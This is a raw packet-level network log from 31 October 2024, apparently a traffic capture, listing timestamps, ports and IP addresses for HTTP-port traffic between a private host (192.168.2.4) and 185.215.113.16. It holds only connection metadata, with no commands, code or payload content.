Oct 31, 2024 23:38:20.894188881 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.894202948 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.894210100 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.894220114 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.894229889 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.894258976 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.894990921 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895006895 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895020008 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895044088 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895055056 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.895059109 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895076036 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895085096 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.895092964 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895093918 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.895128012 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.895137072 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.895189047 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895205021 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895219088 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895234108 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895241022 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.895248890 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.895288944 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.895847082 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895863056 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895884991 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895899057 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.895900011 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895916939 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895931005 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895936966 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.895955086 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.895955086 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895971060 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.895979881 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.895987988 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.896003962 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.896019936 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.896027088 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.896049976 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.896055937 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.896761894 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.896778107 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.896791935 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.896806955 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.896814108 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.896823883 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.896837950 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.896848917 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.896858931 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.896874905 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.896904945 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.897269011 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897284031 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897298098 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897313118 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.897335052 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.897495031 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897511005 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897526979 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897550106 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.897578001 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.897638083 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897654057 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897669077 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897699118 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.897726059 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.897773981 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897823095 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.897860050 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897905111 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.897911072 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897926092 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897942066 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897950888 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.897964954 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.897974014 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.897985935 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.898004055 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.898314953 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898329973 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898344994 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898386002 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.898403883 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.898466110 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898482084 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898498058 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898509026 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.898540020 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.898597002 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898611069 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898653030 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.898863077 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898876905 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898910046 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.898926973 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898942947 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898957968 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898974895 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.898982048 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.898993969 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.899024963 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.899094105 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:20.899199963 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.899281025 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.899285078 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.899300098 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.899322033 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.899336100 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.899338007 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.899353027 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.899357080 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.899359941 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.899379969 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.899552107 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.899678946 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.899729967 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.899755001 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.899770975 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.899787903 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.899805069 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.899811983 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.899856091 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.900033951 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900079012 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.900105000 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900120020 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900151968 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.900166035 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900173903 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.900191069 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900212049 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900217056 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.900227070 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900237083 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.900244951 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900260925 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900269032 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.900276899 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900299072 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.900305033 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.900918007 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900933027 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900949001 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.900959969 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.900988102 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.901159048 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.901175976 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.901190996 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.901215076 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.901222944 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.901232004 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.901247025 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.901252031 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.901263952 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.901269913 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.901281118 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.901299000 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.901304960 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.901314974 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.901314974 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.901330948 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.901340008 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.901357889 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.901376009 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.902005911 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902020931 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902036905 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902061939 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902076006 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902077913 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.902096987 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.902100086 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902116060 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902129889 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902134895 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.902146101 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.902146101 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902163982 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902174950 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.902182102 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902206898 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.902226925 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.902925014 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902946949 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902962923 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902977943 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.902988911 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.902993917 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.903018951 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.903040886 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.903306007 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.903330088 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.903345108 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.903359890 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.903376102 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.903387070 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.903392076 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.903439999 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.903451920 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.903853893 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.903870106 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.903884888 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.903908968 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.903920889 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.903997898 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904012918 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904026985 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904046059 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904052019 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904067039 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904081106 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904093027 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904097080 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904113054 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904119015 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904129982 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904131889 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904146910 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904155970 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904162884 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904185057 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904208899 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904309988 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904324055 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904345989 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904361963 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904364109 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904377937 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904381037 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904395103 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904409885 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904412031 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904421091 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904433966 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904441118 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904452085 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904453039 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904468060 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904476881 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904484987 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904500008 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904500008 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904510021 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904515982 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904531956 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.904536009 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904558897 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.904586077 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905029058 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905044079 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905060053 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905087948 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905109882 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905174971 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905189991 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905205011 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905220032 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905229092 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905236959 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905252934 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905261040 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905270100 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905284882 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905294895 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905301094 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905304909 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905317068 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905320883 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905333042 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905335903 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905349016 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905366898 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905366898 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905371904 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905390024 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905394077 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905405998 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905421019 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905425072 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905436039 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905452967 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905456066 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905467987 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905477047 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905484915 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905499935 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905502081 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905517101 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905524015 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905533075 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905549049 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905554056 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905564070 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905579090 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905586004 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905595064 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905603886 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905611038 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905627012 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905636072 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905649900 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905654907 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905667067 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905682087 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905685902 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905690908 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905697107 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905719042 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905726910 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905729055 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905744076 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905747890 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905759096 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905762911 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905775070 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905781031 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905792952 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905807972 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905807972 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905813932 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905824900 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905831099 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905842066 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905855894 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905857086 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905864954 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905874014 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905884027 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905904055 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905922890 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905930042 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905944109 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905960083 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905966997 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905977011 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.905987024 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.905992985 CET	80	49870	185.215.113.16	192.168.2.4
